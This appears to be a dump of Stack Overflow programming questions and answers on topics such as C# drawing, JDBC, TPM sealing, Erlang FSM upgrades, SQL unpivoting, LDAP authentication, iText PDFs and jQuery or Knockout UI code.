24219696	0	drawstring bold and normal text <p>have code:</p> <pre><code>using (Graphics g = Graphics.FromImage(pictureBox1.Image)) { Font drawFont = new Font("Arial", 12); Font drawFontBold = new Font("Arial", 12, FontStyle.Bold); SolidBrush drawBrush = new SolidBrush(Color.Black); g.DrawString("this is normal", drawFont, drawBrush, new RectangleF(350f, 250f, 647, 200)); g.DrawString(" and this is bold text", drawFontBold, drawBrush, new RectangleF(350f, 250f, 647, 200)); } </code></pre> <p>I need to get</p> <blockquote> <p>this is normal <strong>and this is bold text</strong></p> </blockquote> <p>But I receive overlay of second text on first</p>
13032782	0	 <p>It seems that my question was nonsence. Here's my code:</p> <pre><code>PreparedStatement stmt = con.prepareStatement(query); stmt.setLong(1, key); stmt.execute(query); </code></pre> <p><code>query</code> is (obiously) String. What fixed the problem is removing <code>query</code> from <code>stmt.execute(query)</code></p> <p>I'm still not sure if the behavior of <code>execute()</code> in such a case is correct.</p>
1684823	0	 <p>Also check to make sure the intermediate directories are also permissioned as 755, as all the directories in the path need to be executable to be traversed.</p>
13336467	0	.NET CLR / Framework detection at runtime <p>Is it possible to determine at runtime:</p> <ol> <li><p>Which version of the .NET framework the application is targeting?</p></li> <li><p>If the application is targeting a full or client profile of the framework?</p></li> </ol> <p>I have tried using <code>Environment.Version</code> however this produces highly inaccurate results. Equally, I have been unable to find any solutions for determining which profile is being used.</p>
24203376	0	 <p>The commands are not described in Part 2 of the Specification but rather in <strong><a href="http://www.trustedcomputinggroup.org/files/static_page_files/72C33D71-1A4B-B294-D02C7DF86630BE7C/TPM%20Main-Part%203%20Commands_v1.2_rev116_01032011.pdf" rel="nofollow">Part 3 - Commands</a></strong>. </p> <p>The <code>TPM_seal</code> command is defined in section 10.1 on page 72. Line 1331 shows you how the command has to look like.</p> <p>Also note that the returnvalue <code>rv</code> does not tell you whether the command was successfully executed on the TPM. It just tells you whether TBS was able to send the command and recieve the response. You have to decode the <code>pabResult</code> buffer.</p> <p>You should also look at my answer to your <a href="http://stackoverflow.com/questions/24145810/sealing-data-using-tpm-in-windows">other question</a>.</p>
10227882	0	 <p>Since <code>friend</code> relationships aren't inherited, you need to declare <code>convertF</code> as a friend of both classes. But you need this only if the function needs access the internals of these classes - are you sure the public interface of the classes doesn't suffice?</p> <p>One further reason to try to avoid such a double friend is that it would create a circular dependency between these classes via the signature of <code>convertF</code>. </p> <p><strong>Update:</strong> This is exactly why you can't declare your friend function the way you show above. For this to work, the compiler would need to know the full definition of <code>iFraction</code> while it is still not finished with the definition of the base class <code>Fraction</code>, which is impossible.</p> <p>Technically it could work the other way around, by forward declaring <code>iFraction</code>. Although I still wouldn't consider it a good solution. Are you sure your class hierarchy is right?</p>
40977608	0	 <p>The error you are receiving in your code is due to the following line <code>if (character.ToString() = "space")</code></p> <p>You are attempting to assign the string literal "space" to <code>character.ToString()</code>, I also have this error in my comment which I can't edit anymore.</p> <p>Here's a snippet that will check the key code against an enum instead of a string, it will then call the <code>HandleComparison</code> method if Space was pressed, and then clear out the <code>StringBuilder</code></p> <p>The only issue I found here is that pressing Shift will prefix the string with <code>&lt;shift&gt;</code>, so some additional logic will have to be applied for action keys, but this is a base to get you started with a working code sample.</p> <p>I hope this helps.</p> <pre><code>class Program { private static StringBuilder builder; static void Main(string[] args) { using (var api = new KeystrokeAPI()) { builder = new StringBuilder(); api.CreateKeyboardHook(HandleKeyPress); Application.Run(); } } private static void HandleKeyPress(KeyPressed obj) { // To be more reliable, lets use the KeyCode enum instead if (obj.KeyCode == KeyCode.Space) { // Spacebar was pressed, let's check the word and flush the StringBuilder HandleComparison(builder.ToString()); builder.Clear(); return; } // Space wasn't pressed, let's add the word to the StringBuilder builder.Append(obj); } // Handle comparison logic here, I.E check word if exists on blacklist private static void HandleComparison(string compareString) { Console.WriteLine(compareString); } } </code></pre>
34208877	0	Erlang's FSM code_change function usage <p>I'm learning Erlang and I've learned about hot code loading, but I don't know how the gen_fst behavior's code_change function works. I also can't find any example of it.</p> <p>Should I create an action like so:</p> <pre><code>upgrade() -&gt; gen_fsm:send_event(machine_name, upgrade). </code></pre> <p>And have a handler in the states like so:</p> <pre><code>some_state(upgrade, State) -&gt; code:purge(?MODULE), compile:file(?MODULE), code:load_file(?MODULE), {next_state, some_state, State, 1000}. </code></pre> <p>I've tried this, but the <code>code_change/4</code> function doesn't execute. How should I correctly implement hot code loading in my FSM?</p>
11937540	0	Does having space between lines affect the performance of javascript code <p>This may be a stupid question, but I still have it . Does having spaces between the code lines in anyway affect the performance of the JavaScript code. </p> <p>How effective is the minified version of the JavaScript file? Any ways to optimize the code performance?</p>
21733954	0	 <pre><code>$("#goup").click(function(e) { $("#imgslide &gt; img:first") .slideUp(500,function(e){ $(this).appendTo("#imgslide"); }); $("#imgslide &gt; img:eq(3)").slideToggle({direction:"up"},500); // move the paragraph with the image index sync $("#product_description &gt; div:first") .appendTo("#product_description"); return false; }); </code></pre>
25148499	0	udp socket trouble c# <p>I have 2 simple programs in c # using udp connections. The programs both have a client and server to send data back and forth. It works exactly as I Ted when ran at the same time on my laptop, using the ip address as 127.0.0.1</p> <p>However, when I put one program on another machine, and changed the ip addresses to the specific machines, it won't work at all. Any thoughts? </p> <p>Thanks.</p>
15035182	0	 <p>It's a Webkit-specific property:</p> <blockquote> <h2>CSS property: <code>-webkit-user-drag</code></h2> <h3>Description</h3> <p>Specifies that an entire element should be draggable instead of its contents.</p> <h3>Syntax</h3> <pre><code>-webkit-user-drag: auto | element | none; </code></pre> <h3>Values</h3> <ul> <li><p><code>auto</code> The default dragging behavior is used.</p></li> <li><p><code>element</code> The entire element is draggable instead of its contents.</p></li> <li><p><code>none</code> The element cannot be dragged at all.</p></li> </ul> </blockquote> <p>It's supported by Chrome 1-17 and Safari 3-5.1: <a href="http://www.browsersupport.net/CSS/-webkit-user-drag">http://www.browsersupport.net/CSS/-webkit-user-drag</a></p>
5188708	0	 <p>I had some problems with that when i used an older php version </p>
23738001	0	Find duplicates in excel workbook <p>I have a excel workbook that i want to find all duplicate rows across all the sheets and highlight them. Figured out how todo it in one sheet. Anyone that can help me out?</p>
6878234	0	 <p>I believe the <a href="http://wiki.eclipse.org/FAQ_What_is_hot_code_replace%3F" rel="nofollow">Hot Code Replace</a> in eclipse is what you meant in the problem:</p> <blockquote> <p>The idea is that you can start a debugging session on a given runtime workbench and change a Java file in your development workbench, and the debugger will replace the code in the receiving VM while it is running. No restart is required, hence the reference to "hot".</p> </blockquote> <p>But there are limitations:</p> <blockquote> <p>HCR only works when the class signature does not change; you cannot remove or add fields to existing classes, for instance. However, HCR can be used to change the body of a method.</p> </blockquote>
27798742	0	 <p>Here is the solution that i came up with.</p> <p>this returns the client object</p> <pre><code>private RestClient InitializeAndGetClient() { var cookieJar = new CookieContainer(); var client = new RestClient("https://xxxxxxx") { Authenticator = new HttpBasicAuthenticator("xxIDxx", "xxKeyxx"), CookieContainer = cookieJar }; return client; } </code></pre> <p>and you can use the method like </p> <pre><code> var client = InitializeAndGetClient(); var request = new RestRequest("report/transaction", Method.GET); request.AddParameter("option", "value"); //Run once to get cookie. var response = client.Execute(request); //Run second time to get actual data response = client.Execute(request); </code></pre> <p>Hope this helps you.</p> <p>Prakash.</p>
28401239	0	 <p>We use an Octopus Service Account with an API Key, and we call it <code>build-deploy-bot</code>. This is the account that TeamCity uses to create the release in Octo.exe.</p> <p>When the release is created, we also include Release Notes with links to all commits, as well as the build overview. In doing this, we can see what commits made it into the specific release.</p> <p>Since a "person" didn't create the release, we don't associate the release with a person.</p> <p>For reference, here's the script we use to generate releases in Teamcity.<br> <a href="https://gist.github.com/ChaseFlorell/716ffd1e4213ecfc8a8b" rel="nofollow">https://gist.github.com/ChaseFlorell/716ffd1e4213ecfc8a8b</a></p>
3305546	0	 <p>The Entity Framework does exactly that, and very well. It also does a whole lot more such as let you write strong typed LINQ queries directly from your application code.</p> <p>your other good options are NHibernate or Linq to SQL</p> <p>this class of frameworks is generally called Object Relational Mapper (ORM)</p> <p>I would say Entity Framework offers the most conveniences for beginners such as visually configuring your data model. it can infer your object model from your database or it can create a database for you from your object model. </p> <p>The new Entity Framework Code First approach is incredibly simple and powerful in my opinion <a href="http://blogs.msdn.com/b/adonet/archive/2010/07/14/ctp4codefirstwalkthrough.aspx" rel="nofollow noreferrer">http://blogs.msdn.com/b/adonet/archive/2010/07/14/ctp4codefirstwalkthrough.aspx</a></p>
4046742	0	 <p>You can't. The yank buffer is private to vim, not shared with the system clipboard.</p>
39969906	0	 <p>Add a try catch block around the code you are using to execute the query</p> <pre><code> try { // Execute query } catch (Exception) { // Exception handling throw; } </code></pre>
11202676	0	Unable to get desired output in mysql <p>I am working on a project report which requires some tricky output from a single table.</p> <p>This is the structure of the table named: <strong>daily_visit_expenses</strong> <img src="https://i.stack.imgur.com/D1I0f.png" alt="daily_visit_expenses"></p> <p>having data like this:: <img src="https://i.stack.imgur.com/H4hlN.png" alt="enter image description here"></p> <p>now what i want the output is the combination of these three queries in a single column (any name), the queries are:</p> <pre><code>SELECT DISTINCT(`cust_1`) FROM `daily_visit_expenses` WHERE user='sanjay' AND `purpose_1`='Sales' SELECT DISTINCT(`cust_2`) FROM `daily_visit_expenses` WHERE user='sanjay' AND `purpose_2`='Sales' SELECT DISTINCT(`cust_3`) FROM `daily_visit_expenses` WHERE user='sanjay' AND `purpose_3`='Sales' </code></pre> <hr> <p>I want to get the output from a single query which is the combination of above three queries in a single column like <code>customers</code> which is <code>DISTINCT</code>.</p> <p>SQL Export:</p> <pre><code>CREATE TABLE IF NOT EXISTS `daily_visit_expenses` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `user` varchar(255) NOT NULL, `date` date NOT NULL, `status` varchar(50) NOT NULL, `location` varchar(50) NOT NULL, `cust_1` varchar(255) NOT NULL, `cust_2` varchar(255) NOT NULL, `cust_3` text NOT NULL, `cust_4` text NOT NULL, `purpose_1` varchar(20) NOT NULL, `purpose_2` varchar(20) NOT NULL, `purpose_3` varchar(20) NOT NULL, `purpose_4` varchar(20) NOT NULL, `visit_type` varchar(20) NOT NULL, `expenses` bigint(20) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=15 ; INSERT INTO `daily_visit_expenses` (`id`, `user`, `date`, `status`, `location`, `cust_1`, `cust_2`, `cust_3`, `cust_4`, `purpose_1`, `purpose_2`, `purpose_3`, `purpose_4`, `visit_type`, `expenses`) VALUES (5, 'sanjay', '2012-06-15', 'Working', 'Customer', 'S.G.R.S. Chemical &amp; Minral Industries', '', 'fatehpur foundry', '', 'Sales', '', 'Sales', '', 'Outstation', 2323), (8, 'sanjay', '2012-06-25', 'Working', 'Office', '', '', '', '', '', '', '', '', '', 0), (9, 'sanjay', '2012-06-09', 'Working', 'Office', '', '', '', '', '', '', '', '', '', 0), (10, 'sanjay', '2012-06-05', 'Working', 'Customer', 'V.N INTERNATIONAL', 'G.SURGIWEAR', '', '', 'Sales', 'Sales', '', '', 'Outstation', 332), (11, 'sanjay', '2012-06-30', 'Working', 'Customer', 'Ganesh Plywood-Sitapur', '', '', '', 'Service', '', '', '', 'Outstation', 434), (12, 'sanjay', '2012-06-04', 'Absent', '', '', '', '', '', '', '', '', '', '', 0), (13, 'sanjay', '2012-06-06', 'Absent', '', '', '', '', '', '', '', '', '', '', 0), (14, 'sanjay', '2012-06-08', 'Leave', '', '', '', '', '', '', '', '', '', '', 0); </code></pre>
2378640	0	 <p>you say you can't install anything, but could you write the necessary stuff into the registry yourself? I think that all regasm does is write all some stuff to the registry, so you could effectively do that from your VB code on startup if its not there and then you might be able to load the interop assembly.</p> <p>you can use a tool like <a href="http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx" rel="nofollow noreferrer">process monitor</a> to see what gets written to the registry when you run regasm.</p> <p>I'd make sure you are using the -codebase switch and explicitly defining Guids for your interfaces and classes for the com wrappers as well. not doing so caused me no end of issues trying to get com wrapped .net dlls to work properly</p>
1173447	0	 <p>You will need to use the RegEx.Matches function and iterate through the collection.</p>
9229636	0	Internet Explorer 7 clickable area links with no fixed width <p>I would like to know if there's a way to set the clickable area of links always strech to the to the parents container when parent container doesn't have a fixed width.</p> <p>Example: <a href="http://jsfiddle.net/gYukv/" rel="nofollow">http://jsfiddle.net/gYukv/</a></p> <p>On Firefox the link strechs with the text and the <li> tag, on IE7 the clickable area of link remains small.</p>
38887419	0	 <p>Open CMD, </p> <p>If you are in 32 bit OS, Run : </p> <p><code>C:\windows\Microsoft.NET\Framework\v4.0.30319&gt; aspnet_regiis.exe -i</code> </p> <p>If you are in 64 bit OS, Run : </p> <pre><code>C:\windows\Microsoft.NET\Framework64\v4.0.30319&gt; aspnet_regiis.exe -i </code></pre>
38999669	0	Concentric arcs in C3.js <p>I am trying to implement concentric arcs in a donut chart in C3.js. So far I have created the donut chart and now would like to add another arc inside the donut that represents the % of three pointers made by a basketball player. </p> <p>I am having trouble finding any examples of this with C3.js.</p> <p>Here is what the chart looks like: <a href="http://i.stack.imgur.com/ZV4LB.png" rel="nofollow">Donut Chart</a></p> <p>And I want to add another arc that is 15px in size and covers the percentage of three pointers made. Here is the code that I have so far.</p> <pre><code>var chart = c3.generate({ data: { columns: [ ['Shots', 50], ['Threes', 50] ], type: 'donut', colors: { Shots: '#ff0000', Threes: '#E8E8EE' } }, donut: { expand: false, label: { show: false, format: function(value, ratio) { console.log("value: " + value) return value; } }, width: 15 }, legend: { hide: true }, tooltip: { show: false } }); d3.select(".c3-chart-arcs-title") .append("tspan") .attr("dy", -20) .attr("x", 0) .text("Year: 5"); d3.select(".c3-chart-arcs-title") .append("tspan") .attr("dy", 16) .attr("x", 0) .text("50% Shots Made"); d3.select(".c3-chart-arcs-title") .append("tspan") .attr("dy", 16) .attr("x", 0) .text("25% 3ptrs Made"); </code></pre>
30823398	0	 <p>There is a problem about your styling, you use percentage for every measure, this means adapt your position based on parent side, parent is window size here.</p> <p>So it's normal everthings moving if you don't limit the wrapper width.</p> <p>You can use min-width to handle this.</p> <pre><code>#wrapper { margin: 0 auto; min-width:960px; } </code></pre>
17052884	0	.net web service to validate LDAP credentials using SSL <p>So I'm new to the whole .net thing here, but basically what I want to do is write a web service that will take a SOAP request with user's name and password and check them against an ldap server to validate that the credentials are right. I've already done this in perl, the code is below, but I'd like to replicate it in .net to get some more exposure to it. I've been poking around with c# since I've done a good amount of java programming and it seems like they are pretty similar, but if it's easier in vb or something else I'm not opposed to that. </p> <p>The main problem I'm having is actually connecting to the server itself. I've found some examples online but I'm getting confused as to what I should be passing to various methods. Here is the perl version of the web service:</p> <p><strong>authenticate.cgi</strong></p> <pre><code>use strict; use warnings; use SOAP::Transport::HTTP; SOAP::Transport::HTTP::CGI -&gt;dispatch_to('Authenticate') -&gt;handle; package Authenticate; use Net::LDAPS; use Net::LDAP; sub Verify{ my ($class, $user, $pass) = @_; my $user_dn = "uid=$user,ou=people,o=domain"; my $ldap = Net::LDAPS-&gt;new( 'ldap.domain.com', port =&gt; '636' ) or die "$@"; my $mesg = $ldap-&gt;bind($user_dn, password =&gt; $pass); return $mesg-&gt;error if $mesg-&gt;is_error; return "Successful authentication for user '$user'"; } </code></pre> <p>What i've been messing with in c# is the following (I might have unnecessary includes, i've been messing with a bunch of things):</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Services; using System.DirectoryServices; using System.DirectoryServices.Protocols; using System.Net; /// &lt;summary&gt; /// Summary description for WebService /// &lt;/summary&gt; [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line. // [System.Web.Script.Services.ScriptService] public class WebService : System.Web.Services.WebService { public WebService () { //Uncomment the following line if using designed components //InitializeComponent(); } [WebMethod] public string Authenticate(string username, string pwd) { string domain = "LDAP://ldap.domain.com:636"; string domainAndUsername = domain + @"\" + username; string path = domain + @"/ou=people,o=domain"; string filterAttribute; DirectoryEntry entry = new DirectoryEntry(path, domainAndUsername, pwd); try { //Bind to the native AdsObject to force authentication. object obj = entry.NativeObject; DirectorySearcher search = new DirectorySearcher(entry); search.Filter = "(SAMAccountName=" + username + ")"; search.PropertiesToLoad.Add("cn"); SearchResult result = search.FindOne(); if (null == result) { return "false"; } //Update the new path to the user in the directory. path = result.Path; filterAttribute = (string)result.Properties["cn"][0]; } catch (Exception ex) { throw new Exception("Error authenticating user. " + ex.Message); } return "true"; } } </code></pre> <p>This has been resulting in the error</p> <blockquote> <p>System.Exception: Error authenticating user. The server is not operational.</p> </blockquote> <p>I feel like I am just specifying the path wrong somewhere or something like that, but I can't seem to figure it out. </p>
34909054	0	 <p>You can't set the ratio, but there's always <code>padding-bottom</code>!</p> <pre><code>div { width: 100%; padding-bottom: 75%; } </code></pre> <p>This code will set <code>div</code> to 4:3 ratio</p> <p>For 16:9 ratio use <code>padding-bottom: 56.25%</code></p> <p><strong>An edit after re-read</strong></p> <p>What if I suggest using a div inside a div?</p> <pre><code>&lt;div class="a"&gt; &lt;div class="b"&gt; &lt;/div&gt; &lt;/div&gt; &lt;style&gt; .a{ width:100%; padding-bottom: 75%; background-color: red; position: relative; } .b{ width: 100%; max-height: 100%; background-color: white; position: absolute; overflow: hidden; } &lt;/style&gt; </code></pre> <p>Put the content inside <code>div.b</code> and it will never exceed the 75%</p>
17067261	0	How to unpivot result in query? <p>I am using MS SQL 2005.</p> <p>This is the query:</p> <pre><code>SELECT allow_r, allow_h, allow_c, sponsorid FROM Sponsor WHERE sponsorid = 2 </code></pre> <p>This is the result:</p> <pre><code>allow_r allow_h allow_c sponsorid ---------- ---------- ---------- ----------- 1 1 0 2 </code></pre> <p>I need it to be:</p> <pre><code>allow_r 1 2 allow_h 1 2 </code></pre> <p>allow_c should not be in the result as its 0</p>
9277243	0	Does connect.session work with node-azure <p>I'm starting to develop an application using node.js on azure. I'm using everyauth to provide authentication because I want to support lots of different authentication methods. I plan to deploy to Azure. The potential problem I have is that everyauth requires the connect.session helper. Will this work with azure when running multiple instances? Or do I need an alternative session provider?</p>
25501814	0	Symfony2 $request->request is emtpy <p>I have a page with two forms that can be submitted separately. I tried <a href="http://stackoverflow.com/questions/12022166/symfony-post-variable-always-empty">this approach</a> to check which form was submitted, but $request->request is always an empty array. What am I missing?</p> <pre><code>public function submitAction(Request $request) { $dm = $this-&gt;get('doctrine_mongodb')-&gt;getManager(); $processes = $dm-&gt;getRepository('MyCoreBundle:Process')-&gt;findAll(); $formClients = $this-&gt;createForm(new FiltersFormType(), $processes); $formClients-&gt;handleRequest($request); $formSuppliers = $this-&gt;createForm(new SupplierFormType(), $processes); $formSuppliers-&gt;handleRequest($request); } </code></pre> <p>Edit: it's being posted via GET</p>
17016202	0	Generating an A5 PDF document from HTML using Java iText <p>I'd like to generate an A5 page-size PDF document from a given HTML template using the iText Java library.</p> <p>I have been successful in generating a PDF, but rather than one A5 page, I get one A4 page (with the text on it) followed by an empty A5 page (see: <a href="http://sdrv.ms/11tAmlq" rel="nofollow">the output document</a>). What am I doing wrong?</p> <p>A sample java code follows.</p> <p>Many thanks for help.</p> <pre><code> public final class Main { public static void main(String[] args) throws IOException, DocumentException { htmlToPdf(new StringReader("&lt;html&gt;&lt;head&gt;&lt;title&gt;Hello, World!!!&lt;/title&gt;&lt;/head&gt;&lt;body style=\"font-family: 'Times New Roman', serif;\"&gt;&lt;div&gt;Hello, World!!!&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;"), new File("Test.pdf")); } private static void htmlToPdf(final StringReader htmlSource, final File pdfOutput) throws IOException, DocumentException { final FileOutputStream pdfOutputStream = new FileOutputStream(pdfOutput); final PdfDocument document = new PdfDocument(); FontFactory.defaultEmbedding = true; document.setPageSize(com.itextpdf.text.PageSize.A5); final PdfWriter pdfWriter = PdfAWriter.getInstance(document, pdfOutputStream, PdfAConformanceLevel.PDF_A_1B); document.addWriter(pdfWriter); document.open(); XMLWorkerHelper.getInstance().parseXHtml(pdfWriter, document, htmlSource); document.close(); pdfOutputStream.close(); } } </code></pre>
25145333	0	jQuery Toggle (Expanding Div) Inconsistent Transition With Text <p>I've got my expanding div working, however it seems the transition opens abruptly on divs with text, yet closes with a smooth transition. My code is below as is a link to a jsFiddle demo. </p> <p>How can I get the transition on the open to be as smooth as it demonstrates on the closing?</p> <p>Demo: <a href="http://jsfiddle.net/phamousphil/s34fA/1/" rel="nofollow">http://jsfiddle.net/phamousphil/s34fA/1/</a></p> <p>HTML:</p> <pre><code> &lt;div class="grid_6 containerExpand collapsedExp"&gt; &lt;div class="headerExpand"&gt;&lt;a href="http://www.google.com"&gt;the google&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;div class="contentExpand"&gt; &lt;p&gt;google stuff google stuff google stuff! google stuff google stuff google stuff! google stuff google stuff google stuff! google stuff google stuff google stuff!&lt;/p&gt;&lt;br /&gt; &lt;p&gt;google stuff google stuff google stuff! google stuff google stuff google stuff! google stuff google stuff google stuff! google stuff google stuff google stuff!&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="grid_6 containerExpand collapsedExp"&gt; &lt;div class="headerExpand"&gt;&lt;a href="http://www.yahoo.com"&gt;YAHOO&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;div class="contentExpand"&gt; &lt;p&gt;Yahoo!.&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>.containerExpand { } .headerExpand { cursor: pointer; } .headerExpand:hover { background-color: #d3d3d3; } .collapsedExp .headerExpand { } .collapsedExp .headerExpand:hover { background-color: #d3d3d3; } .contentExpand { height: auto; min-height: 100px; overflow: hidden; transition: all 0.3s linear; -webkit-transition: all 0.3s linear; -moz-transition: all 0.3s linear; -ms-transition: all 0.3s linear; -o-transition: all 0.3s linear; } .collapsedExp .contentExpand { min-height: 0px; height: 0px; } </code></pre> <p>JavaScript:</p> <pre><code>$(function(){ $('.headerExpand').click(function(){ $(this).closest('.containerExpand').toggleClass('collapsedExp'); $(".headerExpand").find("a").click(function(e){e.stopPropagation()}); }); }); </code></pre>
33783485	0	Shopify Product Combinations or Addons <p>I would like to combine products in my shop.</p> <p>For example, I have the following products: A, B, C. Additionally, I have the products 1, 2, 3.</p> <p>All products can be bought individually. However, if a customer selects one of the products A, B or C, he/she can also select one of the products 1,2 or 3 for free (the customer will only be charged for product A, B or C).</p> <p>How would I set this up in the backend? Should I set this up using product options (1,2,3 would be possible options), or do I have to generate variants of A, B, C (eg. variant A+1, A+2, etc..). If yes, how can I do this?</p> <p>The important thing is, how can I set this up in a way that I can access necessary product data in the product template and that both products are added to the cart correctly (and removed from the inventory accordingly).</p> <p>Thanks for your help</p>
26730831	0	 <p>Adding/removing <code>const</code>/<code>volatile</code> doesn't change the value of the pointer/reference.</p>
6496943	0	 <p>Capistrano can be used for deployment of PHP projects too.</p> <p>You can use Git <code>post-commit</code> hook for deployment after each commit.</p>
9338069	0	WP7 - Back Button without Navigation Service <p>Is it possible to some how capture the Back Button Event without using the Navigation Service? </p> <p>A <a href="http://stackoverflow.com/questions/2873086/how-to-handle-the-back-button-on-windows-phone-7">previous post here on StackOverflow</a> describes the the Back Button Events (both the overload of <a href="http://msdn.microsoft.com/en-us/library/microsoft.phone.controls.phoneapplicationpage.onbackkeypress%28v=vs.92%29.aspx" rel="nofollow">OnBackKeyPress</a> and the event handler <a href="http://msdn.microsoft.com/en-us/library/microsoft.phone.controls.phoneapplicationpage.backkeypress%28v=vs.92%29.aspx" rel="nofollow">PhoneApplicationPage_BackKeyPress</a>) only seem to fire when the navigation service is used. </p> <p>My implementation is: </p> <pre><code>//Prepare the page; NextPage page = new NextPage(); //When we are ready to transition page.someData = data; page.parent = this; this.Content = page; </code></pre> <p>I'm using this so that I can store the page for use later (essentially so that I can cache it, especially since some of my pages download information from the internet, and so that I can pass it data like above. However, I still need to use the back button to return to the home page. </p> <p>Is there anyway to trigger the back button while using the above method? </p>
38177638	0	How to add item to array? <p>The item :</p> <pre><code>$image = wp_get_attachment_image_src( get_post_thumbnail_id( $loop-&gt;post-&gt;ID ), 'single-post-thumbnail' ); </code></pre> <p>The array :</p> <pre><code>$attachment_ids = $product-&gt;get_gallery_attachment_ids(); foreach( $attachment_ids as $attachment_id ) { echo '&lt;img src="'.$image_link = wp_get_attachment_url( $attachment_id ).'"&gt;'; } </code></pre> <p>I need to add the item $img_url in the beginning of the array.</p>
2508563	0	 <p>For anyone else who's doing the same thing here's the code that I got working. Thanks Jeffrey!</p> <pre><code> Image image = new Image(); BitmapSource tempSource = Window1.GetNextImage(i); CroppedBitmap cb = new CroppedBitmap(tempSource, new Int32Rect(0, 0, Math.Min((int)Window1.totalWinWidth, tempSource.PixelWidth), Math.Min((int)Window1.totalWinHeight, tempSource.PixelHeight))); image.Source = cb; canvas1.Children.Add(image); </code></pre>
11414265	0	 <p><code>fwrite</code> writes to a <code>FILE*</code>, i.e. a (potentially) buffered <code>stdio</code> stream. It's specified by the ISO C standard. Additionally, on POSIX systems, <a href="http://stackoverflow.com/a/468105/166749"><code>fwrite</code> is thread-safe</a> to a certain degree.</p> <p><code>write</code> is a lower-level API based on file descriptors, described in the POSIX standard. It doesn't know about buffering. If you want to use it on a <code>FILE*</code>, then fetch its file descriptor with <code>fileno</code>, but be sure to manually lock and flush the stream before attempting a <code>write</code>.</p> <p>Use <code>fwrite</code> unless you know what you're doing.</p>
23093097	0	using SSH to run a cleartool command with agruments on remote a linux machine <p>when I run this then everything work:</p> <pre><code>C:\PROGRA~1\cwRsync\bin\ssh.exe -o 'StrictHostKeyChecking no' 10.10.10.10 -l username /usr/atria/bin/cleartool setview -exec 'pwd' cm_myview </code></pre> <p>however if I have more than two arguments after exec like this:</p> <pre><code>C:\PROGRA~1\cwRsync\bin\ssh.exe -o 'StrictHostKeyChecking no' 10.10.10.10 -l username /usr/atria/bin/cleartool setview -exec 'cd /user' cm_myview </code></pre> <p>then it will fail with the error: extra argument:"cm_myview"</p> <p>so right now if there is more than 2 argument after -exec, then it will say those argument are extra, anyone know how I can fix this. Thanks. </p> <p>I am only running one command which run a script file. But I need to pass arguments to this script file. I think the program think the first argument is the view i am tying to set. </p>
20153400	0	 <p>A datagridview is a representation of data. The datagridview will save nothing in itself. Please read about <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.datagridview.datasource%28v=vs.110%29.aspx" rel="nofollow">datagridviews and their data sources</a> - and then if still in a troublesome condition, rephrase and come back here.</p>
23662659	0	why a class can not be subclassed if i declare its default constructor as private <blockquote> <p>In a class i can have as many constructors as I want with different argument types. I made all the constructors as private,it didn't give any error because my implicit default constructor was public But when i declared my implicit default constructor as private then its showing an error while extending the class. <strong>WHY?</strong></p> </blockquote> <h2>this works fine</h2> <pre><code>public class Demo4 { private String name; private int age; private double sal; private Demo4(String name, int age) { this.name=name; this.age=age; } Demo4(String name) { this.name=name; } Demo4() { this("unknown", 20); this.sal=2000; } void show(){ System.out.println("name"+name); System.out.println("age: "+age); } } </code></pre> <h2>This can not be inherited</h2> <pre><code>public class Demo4 { private String name; private int age; private double sal; private Demo4(String name, int age) { this.name=name; this.age=age; } Demo4(String name) { this.name=name; } private Demo4() { this("unknown", 20); this.sal=2000; } void show() { System.out.println("name"+name); System.out.println("age: "+age); } } </code></pre>
25940124	0	Do powershell parameters need to be at the front of the script? <p>I'm trying to have a script with both executable code and a function, like the following: </p> <pre><code>function CopyFiles { Param( ... ) ... } // Parameter for the script param ( ... ) // Executable code </code></pre> <p>However, I run into the following error: "The assignment expression is not valid. The input to an assignment operator must be an object that is able to accept assignments, such as a variable or a property"</p> <p>When I list my function at the end of the file, it says that the function name is undefined. How do I call a powershell function from executable code within the same script? </p>
22763016	0	 <p>Download the SDK 7.0.0.27 and install it via UPDI then apply import. SDK fix pack download: <a href="http://www-01.ibm.com/support/docview.wss?uid=swg24033882" rel="nofollow">http://www-01.ibm.com/support/docview.wss?uid=swg24033882</a></p>
30732228	0	 <p>You won't subscribe, you'll just have an observable in your viewmodel that you set to true or false, and the menu item will toggle in response. The disabled member of your menu item will look like this:</p> <pre><code>disabled: function() { return myobservable(); } </code></pre> <p>As James Thorpe commented, you'll want to create a custom binding handler to set up your context menu.</p> <p>It sounds like you're working with several unfamiliar tools. Here is a Fiddle with a minimal example: <a href="http://jsfiddle.net/sv3m7ok8/" rel="nofollow">http://jsfiddle.net/sv3m7ok8/</a></p> <p><strong>Update</strong> It occurred to me that since the context menu doesn't bind to a single element, but uses a selector, it makes more sense to do the binding on the <code>body</code> tag. So an updated example: <a href="http://jsfiddle.net/sv3m7ok8/1/" rel="nofollow">http://jsfiddle.net/sv3m7ok8/1/</a></p> <p><strong>Updated again</strong> I now understand that you are specifically trying to get the menu item to enable/disable while the menu is open (and that it doesn't do that normally). I had to go under the covers to get at the menu item node, and hook up a subscription to set the disabled class on it.</p> <pre><code>init: function (element, data, allbindings, data) { var dynamicDisable = false; $.contextMenu({ selector: '.context-menu-one', callback: function (key, options) { var m = "clicked: " + key; window.console &amp;&amp; console.log(m) || alert(m); }, items: { "edit": { name: "Clickable", icon: "edit", disabled: function (opt, key) { if (!dynamicDisable) { var node = key.items.edit.$node[0]; data.disableMenu.subscribe(function (dis) { $(node)[dis ? 'addClass' : 'removeClass']('disabled') }); dynamicDisable = true; } return data.disableMenu(); } } } }); } </code></pre> <p>My fiddle sets an interval to toggle disableMenu. You can watch the menu item become active and gray.</p> <p><a href="http://jsfiddle.net/sv3m7ok8/3/" rel="nofollow">http://jsfiddle.net/sv3m7ok8/3/</a></p>
